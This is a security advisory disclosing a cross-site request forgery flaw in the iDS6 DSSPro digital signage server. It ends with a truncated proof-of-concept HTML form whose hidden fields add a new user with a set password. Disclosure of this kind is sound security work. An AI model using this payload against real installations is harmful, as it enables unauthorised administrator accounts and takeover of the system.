iDS6 DSSPro Digital Signage System 6.2 Cross-Site Request Forgery (CSRF)  
Vendor: Guangzhou Yeroo Tech Co., Ltd.  
Product web page:  
Affected version: V6.2 B2014.12.12.1220  
V5.6 B2017.07.12.1757  
Summary: iDS6 Software's DSSPro network digital signage management system  
is a web-based server software solution for Windows.  
Desc: The application interface allows users to perform certain actions via  
HTTP requests without performing any validity checks to verify the requests.  
This can be exploited to perform certain actions with administrative privileges  
if a logged-in user visits a malicious web site.  
Tested on: Microsoft Windows XP  
Microsoft Windows 7  
Microsfot Windows Server 2008  
Microsoft Windows Server 2012  
Microsoft Windows 10  
Apache Tomcat/8.0.44  
Apache Tomcat/6.0.35  
Apache Axis/1.4  
MySQL 5.5.25  
Java 1.8.0  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2020-5606  
Advisory URL:  
Add user:  
<form action="!addUser" method="POST">  
<input type="hidden" name="user.userName" value="testingus" />  
<input type="hidden" name="user.password" value="zeroscience" />  
<input type="submit" value="add()" />